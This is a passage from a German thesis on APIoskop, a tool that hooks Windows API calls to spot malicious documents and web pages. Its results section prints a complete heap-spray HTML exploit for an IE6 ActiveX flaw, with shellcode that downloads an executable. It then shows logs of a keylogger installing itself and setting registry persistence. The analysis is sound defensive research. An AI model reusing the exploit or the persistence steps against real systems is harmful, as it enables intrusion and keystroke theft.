erfolgreich sein, d. h. es lässt sich kein Schlüsselname zu dem Keyhandle ermitteln, so wird mit dem Hinweis Error: Can’t derive Keyname from Keyhandle als Schlüsselname für das Keyhandle weitergearbeitet. Ist dies der Fall, so ist dieser Hinweis später auch in der Ausgabeliste zu lesen. Um dies zu vermeiden, werden aber zuvor folgende drei Methoden angewandt: - Falls das Keyhandle einen Hauptschüssel (HKEY_CLASSES_ROOT, HKEY_ CURRENT_USER, HKEY_LOCAL_MACHINE, usw.) bezeichnen sollte, so wird mit diesem Namen weitergearbeitet. - Suche des Schlüsselnamens in der intern verwendeten Datenstruktur. - Verwendung der Native API-Funktion NtQueryObject, welche zu einem Handle Informationen zurückliefert. Diese Variante wird erst als letzte Möglichkeit in Betracht gezogen, da sie nicht auf allen Windowsversionen funktioniert (siehe Kapitel 3.2.1). Liefert diese Funktion jedoch ein Ergebnis, so wird der Schlüsselname zusammen mit dem Keyhandle in die Datenstruktur aus Abbildung 4.14 eingefügt, so dass dieser für eine spätere Suche zur Verfügung steht. 2. In einem zweiten Schritt wird die Zeichenkette, auf die Subkeyname verweist, an den im ersten Schritt erhaltenen Schlüsselnamen des Keyhandles angehängt. Anschließend folgen ein paar Formatierungsarbeiten und dann liefert MakeRegKeyName diese Konkatenation als Resultat zurück. Es existieren auch Registryfunktionen, welche ein Keyhandle zurückliefern. Dieses Handle kann dann von dem aufrufenden Programm für mögliche spätere Zugriffe auf den dazugehörigen Schlüssel benutzt werden. Beispielsweise geben alle Registryfunktionen, die einen Registryschlüssel erstellen oder öffnen, ein Handle auf diesen Schlüssel zurück. Mittels APIoskop können von diesen Funktionen (jeweils die Ansi- und Widestring- 73 Kapitel 4. APIoskop variante) RegCreateKey, RegCreateKeyEx, RegOpenKey und RegOpenKeyEx überwacht werden. Innerhalb deren Hook-Funktionen wird auch mit Hilfe der oben beschriebenen Methode der Schlüsselname aus deren Argumenten hKey und Subkeyname gewonnen. Da nach einem Aufruf dieser vier Funktionen eine weitere Verwendung des zurückgelieferten Handles sehr wahrscheinlich ist, wird dieses zusammen mit dem erhaltenen Schlüsselnamen in die intern verwendete Datenstruktur eingetragen. So wird dieses neue Paar, bestehend aus Keyhandle und Schlüsselname, bei möglichem späteren Suchen nach anderen Schlüsselnamen ebenfalls berücksichtigt. 4.4.3. Fernsteuerung der Office-Anwendungen APIoskop bietet seinen Benutzern die Möglichkeit, automatisch mehrerer OfficeDokumente überprüfen zu lassen. Dazu sucht sich ein Benutzer mehrere OfficeDokumente aus und startet deren Überprüfung mittels der Menüleiste oder über die Toolbuttonleiste. Da es sich bei Office-Dokumenten lediglich um unausführbare Anwenderdaten handelt und diese an sich keine eigenständigen Programme sind, geht erst eine mögliche Gefahr von ihnen aus, wenn diese in ihren entsprechenden Anwendungen geöffnet werden. Office-Dokumente lassen sich gezielt so präparieren, dass durch Ausnutzen einer Schwachstelle die entsprechende Anwendung dazu gebracht wird, bestimmte Handlungen durchzuführen. Diese Handlungen können schadhafter Natur sein. In solchen Fällen sind diese dann vom Benutzer der Office-Anwendung nicht gewünscht, da dieser, abgesehen von der Schadfunktion, lediglich das geöffnete Dokument betrachten möchte. Zum Testen, ob Office-Dokumente auf diese Weise präpariert sind, öffnet APIoskop die Dokumente nacheinander in ihren entsprechenden Anwendungen und überwacht dann diese Prozesse. Zur Fernsteuerung der einzelnen Office-Anwendungen bietet das Borland Developer Studio 2006 eine Reihe von Komponenten an. Für die Implementierung von APIoskop wurden folgende dieser Komponenten verwendet: - TWordApplication: Dient der Fernsteuerung von Microsoft Word. Über die Eigenschaft TWordApplication.Documents lässt sich ein Objekt ansprechen, dessen Aufgabe im Verwalten der einzelnen Dokumente besteht. Dieses Objekt bietet beispielsweise Methoden zum Öffnen und zum Schliessen von Dokumenten, zur Abfrage, wieviele Dokumente geöffnet sind, usw. - TExcelApplication: Dient der Fernsteuerung von Microsoft Excel. Die ExcelDateien lassen sich über die Eigenschaft TExcelApplication.Workbooks verwalten. Der Typ dieser Eigenschaft ist ebenfalls ein Objekt und bietet Methoden zum Verwalten der Excel-Dateien. Diese Methoden sind den Methoden des Objekts, welches zur Verwaltung von Dokumenten bei TWordApplication zuständig ist, ähnlich, nur dass diese hier Excel-Tabellen betreffen. Zudem lassen sich über diese Eigenschaft auch die Sheets der einzelnen Tabellen ansteuern. - TPowerPointApplication: Dient der Fernsteuerung von Microsoft PowerPoint. Die einzelnen Präsentationen sind über die Eigenschaften TPowerPointApplication.Presentations ansprechbar. Auch hinter dieser Eigenschaft verbirgt sich ein 74 4.5. Zusammenfassung Objekt, über welches beispielsweise Präsentationen geöffnet oder geschlossen werden können. Alle drei Komponenten müssen, bevor sie mit ihren entsprechenden Anwendungen kommunizieren können, mit diesen verbunden werden. Dies geschieht bei allen dreien über die Methode connect. In APIoskop wurden diese Komponenten so konfiguriert, dass sie beim Verbinden zuerst überprüfen, ob nicht schon eine Instanz ihrer Anwendung läuft. Wenn dies bei einer Komponente der Fall ist, so verbindet sich diese zu der schon existierenden Instanz. Andernfalls wird die ensprechende Anwendung gestartet, und die Komponente verbindet sich zu der neu erstellten Instanz. 4.5. Zusammenfassung Nachdem am Anfang dieses Hauptkapitels die Funktionen und Einsatzmöglichkeiten von APIoskop aufgelistet wurden, wurde als nächstes dessen Funktionsweise skizziert. APIoskop sammelt Informationen über die Funktionsaufrufe anderer Applikationen. Um dies zu erreichen, kann ein Benutzer solch eine Zielapplikation auswählen und deren Überwachung starten. An die erwähnten Informationen gelangt APIoskop dadurch, dass es per API-Hooking die Aufrufe ausgewählter API-Funktionen überwacht. Es injiziert eine Bibliothek, welche die Hook-Funktionen enthält, in den Prozess der Zielapplikation und veranschaulicht die erhaltenen Informationen übersichtlich in seinem Hauptprogramm. Diese Bibliothek und das Hauptprogramm stellen auch gleichzeitig die zwei Bestandteile von APIoskop dar. Über das Hauptprogramm von APIoskop kann der Benutzer dieses steuern, und die Aufgabe der Bibliothek besteht darin, die gewünschten Informationen zu sammeln. Außerdem wurde in diesem Kapitel die Benutzeroberfläche von APIoskop vorgestellt. Über diese lässt sich, wie bereits erwähnt, APIoskop steuern und bietet dem Benutzer Zugriff auf dessen Komponenten. Als erstes wurde auf das Hauptfenster eingegangen, welches unter anderem die Ausgabeliste enthält. In dieser Liste bekommt der Benutzer die Resultate der Überwachung präsentiert. Zudem wurden die Fenster zur Auswahl des Prozesses der Zielapplikation und zur Auswahl der zu untersuchenden Office-Dokumente beschrieben. Ebenfalls wurden ein Fenster zur Konfiguration von APIoskop und eines, welches die mitgeschnittenen Datagramme zeigt, vorgestellt. Damit die Ausgabeliste überhaupt Informationen über mögliche Funktionsaufrufe darstellen kann, müssen diese zuvor von der HookLibrary an das Hauptprogramm übertragen werden. Für diese Übertragung wurde eine Methode der Interprozesskommunikation gewählt, welche mit einem Memory Mapped File arbeitet. Innerhalb der HookLibrary existiert eine Funktion Log, welche von den einzelnen Hook-Funktionen aufgerufen wird, wenn diese einen registrierten Funktionsaufruf der Windows API dem Hauptprogramm melden möchten. Dazu wartet die Funktion Log als erstes auf die Freigabe eines Mutexes, welcher die Zugriffe auf das Memory Mapped File synchronisiert und somit inkonsistente Zustände vermeidet. Ist dieser Mutex nicht mehr blockiert, so schreibt die Funktion Log die ihr übergebenen Informationen in das Memory Mapped File und startet über einen Event den MMF-Thread. Dieser liest das Memory Mapped File aus und fügt diese Informationen in eine Queue ein. Diese wird letztendlich von dem Queue-Thread ausgelesen, 75 Kapitel 4. APIoskop welche die Informationen in die Ausgabeliste einträgt. Über ein Fenster kann der Benutzer APIoskop so konfigurieren, dass nur ausgewählte Funktionen auf mögliche Aufrufe überwacht werden. Diese und noch weitere Informationen benötigt die HookLibrary für ihre Arbeit und müssen ihr vom Hauptprogramm übergeben werden. Die Übergabe dieser Parameter an die HookLibrary wurde ebenfalls durch ein Memory Mapped File realisiert. Dieses zweite Memory Mapped File wurde wegen der automatischen Überwachung der Kindprozesse zusätzlich benötigt und beinhaltet die Parameter für die gesamte Dauer einer Überwachung. Die Implementierung der Hook-Funktionen wurde exemplarisch an drei dieser Funktionen gezeigt, da deren Aufbau stets sehr ähnlich ist. Die Hook-Funktionen lassen sich grob in zwei Abschnitte unterteilen: Der erste Abschnitt wird ausgeführt, falls der Funktionsaufruf übermittelt werden soll, und der zweite Abschnitt, falls dies nicht so ist. Die Entscheidung über eine mögliche Übermittlung hängt davon ab, ob der Benutzer von APIoskop Folgeaufrufe mitprotokollieren lassen möchte oder nicht. Soll der Aufruf übermittelt werden, so wird die Uhrzeit festgehalten und versucht aus den Argumenten der entsprechenden API-Funktion verständliche Informationen zu gewinnen. Diese werden anschließend durch die Funktion Log an das Hauptprogramm gesendet. Zudem wurde der Initialisierungsabschnitt der HookLibrary vorgestellt. Dort werden die HookFunktionen in den Programmablauf der Zielapplikation eingehängt. Neben dieser Installation der Hooks werden in diesem Abschnitt noch die Parameter des Hauptprogramms von APIoskop entgegengenommen und es wird die Interprozesskommunikation initalisiert. Wie APIoskop aus den Argumenten die benötigten Informationen zieht, wurde exemplarisch für Sockets und für Keyhandles veranschaulicht. In einem letzten Abschnitt wurden drei Komponenten des Borland Developer Studios 2006 vorgestellt, welche APIoskop dazu verwendet, die Office-Anwendungen zu steuern. Diese werden immer dann benötigt, wenn mit Hilfe von APIoskop Office-Dokumente untersucht werden sollen. 76 Kapitel 5. Resultate In diesem Kapitel werden einige Resultate vorgestellt, die man mit APIoskop erzielen kann. Dies geschieht zu Beginn dieses Kapitels in Form eines Beispiellaufs, da wie bereits im ersten Kapitel erwähnt, APIoskop keine numerischen Ergebnisse liefert, mit denen der Erfolg von APIoskop messbar wäre. Neben diesem Beispiellauf werden in diesem Kapitel einige Zeiten präsentiert, die veranschaulichen, wie eine Überwachung durch APIoskop die Performance der überwachten Anwendungen beeinflusst. 5.1. Beispiellauf In diesem Unterkapitel werden die Resultate, die man mit APIoskop erzielen kann, beispielhaft anhand einer Überwachung vorgestellt. Bei diesem Beispiellauf wird der Internet Explorer (Version: 6.0.2900.2180) überwacht. Geöffnet wird eine HTML-Datei, welche Code in den Browser einschleust und ausführt. Dazu wird eine Schwachstelle in einem zu DirectAnimation gehörige ActiveX Control 1 ausgenutzt. Der Quelltext der Datei sieht folgendermaßen aus: <html> <head> <title>XSec.org</title> </head> <body> <script> shellcode = unescape("%u4343"+"%u4343"+"%u4343" + "%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c" "%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000" "%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516" "%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456" "%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300" "%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856" "%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56" "%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be" "%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775" "%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd" "%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e" "%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a" 1 + + + + + + + + + + + + für nähere Informationen: http://www.heise.de/security/news/meldung/78220 77 Kapitel 5. Resultate "%u6870%u7474%u3a70%u2f2f%u7571%u7365%u2e74%u6437" + "%u776f%u6c6e%u616f%u7364%u632e%u6d6f%u712f%u6575" + "%u7473%u6e2e%u7465%u3233%u652e%u6578%u0000"); bigbk = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize + shellcode.length while (bigbk.length < slackspace) bigbk += bigbk; fillbk = bigbk.substring(0, slackspace); bk = bigbk.substring(0, bigbk.length-slackspace); while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk; memory = new Array(); for (i=0;i<800;i++) memory[i] = bk + shellcode; var target = new ActiveXObject("DirectAnimation.PathControl"); target.KeyFrame(0x7fffffff, new Array(1), new Array(65535)); </script> </body> </html> Die folgenden Zeilen sind Ausschnitte der durch APIoskop registrierten Funktionsaufrufe. In jeder Zeile steht zu Beginn eine Zeilennummer. Diese Nummer entspricht nicht dem Eintrag Nr der Ausgabeliste, da hier aus Platzgründen nur ausgewählte Funktionsaufrufe übernommen wurden. Auch wenn hier ein paar Einträge fehlen, ist die Reihenfolge der hier angeführten Zeilen dennoch chronologisch. Ebenfalls aus Platzgründen ist das Format dieser Zeilen ein wenig anders als das Format der Ausgabeliste: Nach einer Zeilennummer folgt der Name der Funktion, dessen Aufruf geloggt wurde, und anschließend sind hier die wichtigsten Argumente der entsprechenden Funktion zu finden. Zu beachten ist, dass die Pfade in den Argumenten der angegebnen Dateisystem-Funktionen abgekürzt sind: C:\Dokumente und Einstellungen\Markus\ Lokale Einstellungen\Temporary Internet Files\Content.IE5\ wird abgekürzt durch C:\Dok...IE5\ . 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 78 connect (wsock32) recv (wsock32) CreateFileA recv (wsock32) WriteFile RegOpenKeyExA RegQueryValueExA WriteFile CreateFileA CreateFileW ReadFile WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) WriteFile ReadFile ensim.persiahost.com (207.44.172.5) ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe HKEY_CLASSES_ROOT\.exe HKEY_CLASSES_ROOT\.exe\Content Type C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe (Port: 80) (Bytes: 270) (CREATE_NEW) (Bytes: 3780) (Txp: REG_SZ) (OPEN_EXISTING) (CREATE_ALWAYS) (Bytes: 3780) (Bytes: 2520) (Bytes: 1260) 5.1. Beispiellauf 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) ReadFile recv (wsock32) WriteFile WriteFile WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) WriteFile recv (wsock32) WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile ReadFile WriteFile recv (wsock32) ReadFile WriteFile recv (wsock32) ReadFile WriteFile C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\WINDOWS\system32\a.exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe (Bytes: 1260) (Bytes: 3780) (Bytes: 1260) (Bytes: 3780) (Bytes: 8192) (Bytes: 3148) (Bytes: 3780) (Bytes: 3780) (Bytes: 2520) (Bytes: 7560) (Bytes: 1260) (Bytes: 3780) (Bytes: 8192) (Bytes: 1460) (Bytes: 3780) (Bytes: 3780) 79 Kapitel 5. Resultate 79 80 81 82 83 84 85 86 87 88 89 90 recv (wsock32) ReadFile recv (wsock32) WriteFile recv (wsock32) ReadFile WriteFile WriteFile recv (wsock32) ReadFile WriteFile WinExec ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe C:\Do...IE5\S7GZUFQP\quest.net32[1].exe ensim.persiahost.com (207.44.172.5) C:\Do...IE5\S7GZUFQP\quest.net32[1].exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe (Bytes: 6300) (Bytes: 3780) (Bytes: 3560) (Bytes: 0) Nach dem Öffnen der HTML-Datei sieht man, wie der Internet Explorer in der ersten Zeile eine Verbindung zu dem Rechner ensim.persiahost.com (IP-Adresse: 207.44.172.5) aufbaut. Anschließend werden in der zweiten Zeile schon die ersten Daten von diesem Rechner empfangen, welche durch APIoskop mitgeschnitten werden. Das in Zeile 2 empfangene Datagramm hat folgenden Inhalt: 0000 0010 0020 0030 0040 0050 0060 0070 0080 0090 00A0 00B0 00C0 00D0 00E0 00F0 0101 48 0D 41 30 70 64 69 65 20 38 30 73 74 0D 6F 65 74 54 0A 75 20 61 20 66 70 47 39 22 3A 2D 0A 73 3A 65 54 44 67 47 63 48 69 20 4D 2D 0D 20 4C 43 65 20 74 50 61 20 4D 68 61 65 32 54 31 0A 62 65 6F 0D 61 2D 2F 74 32 54 65 74 64 30 0D 62 41 79 6E 6E 0A 70 73 31 65 30 0D 2F 29 3A 30 0A 66 63 74 67 6E 43 70 74 2E 3A 30 0A 32 0D 20 36 45 30 63 65 74 65 6F 6C 72 30 20 37 53 2E 0A 4D 20 54 38 65 73 68 63 6E 69 65 20 4D 20 65 30 4C 6F 32 61 2D 70 0D 3A 74 74 63 61 32 6F 31 72 2E 61 6E 33 67 37 74 0A 20 69 65 61 6D 30 6E 30 76 35 73 2C 3A 3A 35 2D 43 31 6F 6E 74 0D 30 2C 3A 65 32 74 20 32 20 36 52 6F 31 6E 74 69 0A 20 20 35 72 20 2D 32 32 22 61 61 6E 34 3A 2D 6F 0D 4F 32 34 3A 28 4D 35 3A 64 36 6E 74 34 20 54 6E 0A 4B 37 3A 20 52 6F 20 30 35 38 67 65 34 63 79 2F 0D 20 33 41 65 64 53 38 34 30 65 6E 30 6C 70 6F HTTP/1.0.200.OK. ..Date:.Mon,.27. Aug.2007.10:54:3 0.GMT..Server:.A pache/2.0.52.(Re d.Hat)..Last-Mod ified:.Mon,.25.S ep.2006.23:22:08 .GMT..ETag:."d54 89-1bf08-756a680 0"..Accept-Range s:.bytes..Conten t-Length:.114440 ..Connection:.cl ose..Content-Typ e:.application/o tet-stream Am Ende des Inhalts dieses Datagramms erkennt man, dass im Verlauf der Kommunikation eine 114440 Bytes große (Content-Length: 114440), binäre Datei (ContentType: application/otet-stream) übertragen wird. Die meisten weiteren der hier angegebenen Funktionsaufrufe resultieren aus dem Empfangen (recv (wsock32)) und Schreiben der Bytes (WriteFile). Dazu werden zuvor zwei ausführbare Dateien angelegt: Zum einen eine temporäre Datei des Internet Explorers (Zeile 9), in welcher vermutlich die empfangenen Bytes zwischengespeichert werden. Und zum anderen die Datei C:\WINDOWS\system32\a.exe (Zeile 10), in welche die Bytes dann anschließend übernommen werden. Diese Vermutung liegt nahe, da sehr häufig, nachdem Bytes empfangen wurden, schreibender Zugriff auf diese beiden Dateien und zusätzlich lesender Zugriff auf die temporäre Datei erfolgt. Ein gutes Beispiel sind die Zeilen 29 bis 32. Der Anfang des Inhalts des zweiten empfangenen Datagramms (empfangen in Zeile 4) belegt diese Vermutung. Er entspricht dem Anfang des Inhalts der Datei C:\WINDOWS\system32\a.exe. Diese ersten 304 Bytes des zweiten Datagramms sind folgende: 80 5.1. Beispiellauf 0000 0010 0020 0030 0040 0050 0060 0070 0080 0090 00A0 00B0 00C0 00D0 00E0 00F0 0100 0110 0120 4D 00 00 00 00 68 6F 20 00 9A 9A 9A 9A 9A 9A 00 00 00 00 5A B8 00 00 0E 69 74 6D 49 08 F7 8E 08 08 00 50 00 00 00 90 00 00 00 1F 73 20 6F 39 54 7B 50 54 54 00 45 00 3E 00 00 00 00 00 BA 20 62 64 67 56 10 54 69 53 00 00 00 00 01 03 00 00 00 0E 70 65 65 C9 9A 9A 9A 9A 9A 00 00 00 00 00 00 00 00 00 00 72 20 2E 0D 5E 0F 08 1A 0C 00 4C E0 00 00 00 00 00 00 B4 6F 72 0D 58 58 58 58 58 58 00 01 00 00 00 00 00 00 00 09 67 75 0D 09 09 09 09 09 09 00 04 0F 00 40 04 00 00 00 CD 72 6E 0A 9A 9A 9A 9A 9A 9A 00 00 01 00 00 00 40 00 00 21 61 20 24 0D 08 1E 0D E1 52 00 8B 0B C2 00 00 00 00 00 B8 6D 69 00 58 54 50 58 53 69 00 2F 01 6D 40 00 00 00 00 01 20 6E 00 09 06 54 08 57 63 00 10 07 00 00 FF 00 00 00 4C 63 20 00 9A 9A 9A 9A 9A 68 00 44 0A 00 00 FF 00 00 F0 CD 61 44 00 0D 1E 0F 63 0C 0D 00 00 00 00 00 00 00 00 00 21 6E 4F 00 58 58 58 58 58 58 00 00 8E 40 02 00 00 00 00 54 6E 53 00 09 09 09 09 09 09 00 00 00 00 00 MZ.............. .........@...... ................ ................ .........!..L.!T his.program.cann ot.be.run.in.DOS .mode....$...... .I9g..X...X...X. ..TV.^X...T...X. ..{...X...PT..X. ..PT..X...X..cX. ..Ti..X...SW..X. ..TS..X..Rich.X. ................ .PE..L..../.D... ................ ..>.......m...@. .......@..@..... In den Zeilen 3, 9 und 10 ist jeweils hinter dem Argument, welches die zu erstellende Datei angibt, der Wert des Arguments dwCreationDisposition angegeben. Dieses Argument legt fest, was mit der zu erstellenden Datei geschehen soll, wenn diese schon existiert. Die Werte haben folgende Bedeutungen: - CREATE_NEW: Erstellt eine neue Datei. Falls die Datei schon existiert, so schlägt das Erstellen fehl. - OPEN_EXISTING: Öffnet die Datei. Falls die Datei noch nicht existiert, so schlägt die Funktion fehl. - CREATE_ALWAYS: Erstellt immer eine neue Datei. Falls die Datei schon existiert, wird deren Inhalt gelöscht. Bei einem Online Malware Scan2 identifizierten 17 von aktuell 20 Scannern die Datei C:\WINDOWS\system32\a.exe als Keylogger mit dem Namen SCKeyLog. Ein Screenshot dieser Ergebnisse befindet sich in Abbildung 5.1. In Zeile 90 wird dieser Keylogger dann schließlich zur Ausführung gebracht. Die folgenden Zeilen zeigen durch APIoskop registrierte Funktionseinträge, die durch den gerade angesprochenen Keylogger verursacht wurden. Diese Auflistung ist ebenfalls nicht komplett, sondern präsentiert nur die wohl interessantesten Funktionseinträge (auch in chronologischer Reihenfolge), da hier eine vollständige Auflistung aus Platzgründen nicht möglich ist. In dieser Auflistung wurde HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\ Notify\spoolsvc durch HKLM\...\spoolsvc und HKEY_LOCAL_MACHINE\software\microsoft\ windows\currentversion\run durch HKLM\...\run abgekürzt. In den folgenden Zeilen bedeutet ein Eintrag RegSetValueExA Schlüssel := Wert, dass der Registryschlüssel Schlüssel den Wert Wert zugewiesen bekommt. 2 Jottis Malwarescan: http://virusscan.jotti.org/de/ 81 Kapitel 5. Resultate Abbildung 5.1.: Online Malware Scan der Datei a.exe 01 CreateFileA 02 ReadFile C:\WINDOWS\system32\a.exe (OPEN_EXISTING) C:\WINDOWS\system32\a.exe 03 04 05 06 07 08 09 10 11 CreateFileA ReadFile ReadFile WriteFile ReadFile WriteFile ReadFile WriteFile ReadFile C:\WINDOWS\system32\spoolsvc.exe (CREATE_ALWAYS) C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\spoolsvc.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\spoolsvc.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\spoolsvc.exe C:\WINDOWS\system32\a.exe 12 13 14 15 16 17 18 19 20 CreateFileA CreateFileA ReadFile ReadFile ReadFile ReadFile WriteFile ReadFile ReadFile C:\WINDOWS\system32\spoolsvc.exe (OPEN_EXISTING) C:\WINDOWS\system32\spoolsvc.dll (CREATE_ALWAYS) C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\spoolsvc.dll C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe 82 5.2. Performance-Messungen 21 ReadFile 22 ReadFile 23 WriteFile C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\a.exe C:\WINDOWS\system32\spoolsvc.dll 24 25 26 27 28 29 30 31 32 33 34 35 HKLM\...\spoolsvc (Key created) HKLM\...\spoolsvc\DllName HKLM\...\spoolsvc\Asynchronous HKLM\...\spoolsvc\Impersonate HKLM\...\spoolsvc\Lock HKLM\...\spoolsvc\Logoff HKLM\...\spoolsvc\Logon HKLM\...\spoolsvc\Shutdown HKLM\...\spoolsvc\StartScreenSaver HKLM\...\spoolsvc\Startup HKLM\...\spoolsvc\StopScreenSaver HKLM\...\spoolsvc\Unlock RegCreateKeyExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA RegSetValueExA := := := := := := := := := := := "spoolsvc.dll" 0 0 "WLEvtLock" "WLEvtLogoff" "WLEvtLogon" "WLEvtShutdown" "WLEvtStartScreenSaver" "WLEvtStartup" "WLEvtStopScreenSaver" "WLEvtUnlock" 36 RegCreateKeyExA 37 RegSetValueExA HKLM\...\run (Key opened) HKLM\...\run\spoolsvc := "C:\WINDOWS\system32\spoolsvc.exe" 38 CreateProcessW 39 NtTerminateProcess C:\WINDOWS\system32\spoolsvc.exe (PID: 968) C:\WINDOWS\system32\a.exe In den Zeilen 3 bis 11 erstellt der Keylogger eine ausführbare Datei namens spoolsvc.exe und füllt diese durch die API-Funktion WriteFile mit Daten. Die Zeilen 12 bis 23 zeigen, wie eine Bibliothek mit dem Namen spoolsvc.dll erstellt und ebenfalls mit Daten gefüllt wird. Diese Schreibaktionen werden für beide Dateien ungefähr 16-mal ausgeführt. Anschließend erstellt der Keylogger Registryschlüssel und weist ihnen Werte zu. Die Zeilen 24 bis 35 veranlassen, daß beim Windowsstart Code ausgeführt wird, welchen die zuvor erstellte Datei spoolsvc.dll exportiert. Zeile 37 bewirkt, dass die erstellte Datei spoolsvc.exe bei jedem Windowsstart automatisch ausgeführt wird. Bevor sich der Keylogger durch die Native API-Funktion NtTerminateProcess in Zeile 39 selbst beendet, erstellt er vorher noch in Zeile 38 einen neuen Prozess, welcher über die eben erstellte Datei spoolsvc.exe gestartet wird. 5.2. Performance-Messungen Als nächstes wird anhand der Ladezeiten von Internetseiten und anhand der Zeit, welche Microsoft Word benötigt, um ein Word-Dokument zu öffnen, gezeigt, welchen Einfluss APIoskop auf die Performance seiner überwachten Programme nimmt. Damit die in diesem Kapitel vorgestellten Ergebnisse nicht an Aussagekraft verlieren, wurden sämtliche Performance-Messungen innerhalb einer gleich bleibenden Testumgebung durchgeführt. Die Testumgebung besteht unter anderem aus folgenden Komponenten: - AMD 